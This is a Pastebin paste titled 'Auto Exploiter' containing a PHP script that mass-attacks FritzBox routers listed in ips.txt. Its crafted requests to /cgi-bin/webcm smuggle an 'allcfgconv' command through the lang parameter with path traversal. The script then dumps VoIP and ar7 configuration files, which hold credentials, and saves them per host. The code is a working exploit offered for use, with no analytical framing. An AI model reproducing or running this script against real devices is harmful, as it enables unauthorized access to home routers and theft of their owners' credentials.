amiralbenz

Auto Exploiter

Aug 30th, 2015
296
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 4.60 KB | None | 0 0
  1. <?php
  2. echo "
  3.             ______    ____      ___
  4.            l l__l l   1  1     1   1 to exploit
  5.            l ___l 1   1  1     1   1 Greetz to :all frds
  6.            l l  1 1   1  1     1   1
  7.            l l  1 1   1  1     1   1
  8.            l l  1 1   1  1_____1   1      
  9.                       \------------/
  10. ";
  11.  
  12. set_time_limit(0);
  13. error_reporting(0);
  14.  
  15.  
  16. function func1($url){
  17. $curl=curl_init();
  18.    
  19.     curl_setopt($curl, CURLOPT_RETURNTRANSFER,1);
  20.     curl_setopt($curl, CURLOPT_URL,$url."/cgi-bin/webcm?getpage=../html/menus/menu2.html&var:lang=%26 allcfgconv -C voip -c -o - ../../../../../var/tmp/voip.cfg %26");
  21.     curl_setopt($curl, CURLOPT_COOKIEFILE, '/');
  22.     curl_setopt($curl, CURLOPT_COOKIEJAR, '/');
  23.     curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false);
  24.     curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, 0);
  25.     curl_setopt($curl, CURLOPT_FOLLOWLOCATION,0);
  26.     curl_setopt($curl, CURLOPT_TIMEOUT,15);
  27.     curl_setopt($curl, CURLOPT_HEADER, true);
  28.     $exec=curl_exec($curl);
  29.     curl_close($curl);
  30. return $exec;
  31. }
  32.  
  33. function func2($url){
  34. $curl=curl_init();
  35.  
  36.     curl_setopt($curl, CURLOPT_RETURNTRANSFER,1);
  37.     curl_setopt($curl, CURLOPT_URL,$url."/cgi-bin/webcm?getpage=../html/menus/menu2.html&var:lang=%26 allcfgconv -C voip -c -o - ../../../../../var/tmp/voip.cfg %26");
  38.     curl_setopt($curl, CURLOPT_COOKIEFILE, '/');
  39.     curl_setopt($curl, CURLOPT_COOKIEJAR, '/');
  40.     curl_setopt($curl, CURLOPT_FOLLOWLOCATION,0);
  41.     curl_setopt($curl, CURLOPT_TIMEOUT,15);
  42.     curl_setopt($curl, CURLOPT_HEADER, true);
  43.     $exec=curl_exec($curl);
  44.     curl_close($curl);
  45. return $exec;
  46. }
  47.  
  48. function func3($url){
  49. $curl=curl_init();
  50.  
  51.     curl_setopt($curl, CURLOPT_RETURNTRANSFER,1);
  52.     curl_setopt($curl, CURLOPT_URL,$url."/cgi-bin/webcm?getpage=../html/menus/menu2.html&var:lang=%26%20allcfgconv%20-C%20ar7%20-c%20-o%20-%20../../../../../var/flash/ar7.cfg%26");
  53.     curl_setopt($curl, CURLOPT_COOKIEFILE, '/');
  54.     curl_setopt($curl, CURLOPT_COOKIEJAR, '/');
  55.     curl_setopt($curl, CURLOPT_FOLLOWLOCATION,0);
  56.     curl_setopt($curl, CURLOPT_TIMEOUT,15);
  57.     curl_setopt($curl, CURLOPT_HEADER, true);
  58.     $exec=curl_exec($curl);
  59.     curl_close($curl);
  60. return $exec;
  61. }
  62.  
  63. function func4($url){
  64. $curl=curl_init();
  65.    
  66.     curl_setopt($curl, CURLOPT_RETURNTRANSFER,1);
  67.     curl_setopt($curl, CURLOPT_URL,$url."/cgi-bin/webcm?getpage=../html/menus/menu2.html&var:lang=%26%20allcfgconv%20-C%20ar7%20-c%20-o%20-%20../../../../../var/flash/ar7.cfg%26");
  68.     curl_setopt($curl, CURLOPT_COOKIEFILE, '/');
  69.     curl_setopt($curl, CURLOPT_COOKIEJAR, '/');
  70.     curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false);
  71.     curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, 0);
  72.     curl_setopt($curl, CURLOPT_FOLLOWLOCATION,0);
  73.     curl_setopt($curl, CURLOPT_TIMEOUT,15);
  74.     curl_setopt($curl, CURLOPT_HEADER, true);
  75.     $exec=curl_exec($curl);
  76.     curl_close($curl);
  77. return $exec;
  78. }
  79.  
  80.  
  81.  
  82. $FritzBoxIps = file("ips.txt");
  83.  
  84. foreach($FritzBoxIps as $FritzBoxD){
  85. /*
  86.         preg_match_all("/\|\s[0-9].*:/" , $FritzBoxD , $FritzBox);
  87.         $FritzBox = $FritzBox[0][0];
  88.         $FritzBox = str_replace("| " , "" , $FritzBox);
  89.         $FritzBox = str_replace(":" , "" , $FritzBox);
  90.  */
  91.  
  92.     if(preg_match("/\|\s/" , $FritzBoxD)){
  93.        
  94.         preg_match_all("/\|\s.*\:/" , $FritzBoxD , $a);
  95.        
  96.         $FritzBox = str_replace( "| " , "" , str_replace(":" , "" , $a[0][0]));
  97.        
  98.     }else{
  99.        
  100.         preg_match_all("/[0-9].*\.[0-9].*\.[0-9].*\.[0-9]*/" , $FritzBoxD , $a);
  101.         $FritzBox = $a[0][0];
  102.        
  103.     }
  104.  
  105.         echo "[+] Testing $FritzBox \n";
  106.        
  107.         $FritzHTTP = func2("http://$FritzBox");
  108.         if(eregi("voipcfg" , $FritzHTTP)){
  109.             echo "     + Success Exploit In http://$FritzBox/ \n";
  110.             $ar7 = func3("http://$FritzBox");
  111.             $fp = fopen($FritzBox.".txt", 'a+');
  112.             fwrite($fp, "http://$FritzBox \n\n $FritzHTTP \n\n $ar7 ");
  113.             fclose($fp);
  114.         }
  115.        
  116.         $FritzHTTPS = func1("https://$FritzBox");
  117.         if(eregi("\x76\x6f\x69\x70\x63\x66\x67" , $FritzHTTPS)){
  118.             echo "     + Success Exploit In https://$FritzBox/ \n";
  119.             $ar7 = func4("https://$FritzBox");
  120.             $fp = fopen($FritzBox.".txt", 'a+');
  121.             fwrite($fp, "\n\n https://$FritzBox \n\n $FritzHTTPS \n\n $ar7 ");
  122.             fclose($fp);
  123.         }
  124.        
  125.         if(!eregi("voipcfg" , $FritzHTTP) and !eregi("\x76\x6f\x69\x70\x63\x66\x67" , $FritzHTTPS)){
  126.             $fp = fopen("Not-Opened.txt", 'a+');
  127.             fwrite($fp, "$FritzBox \n");
  128.             fclose($fp);
  129.         }
  130. }
  131. ?>
Advertisement
Add Comment
Please, Sign In to add comment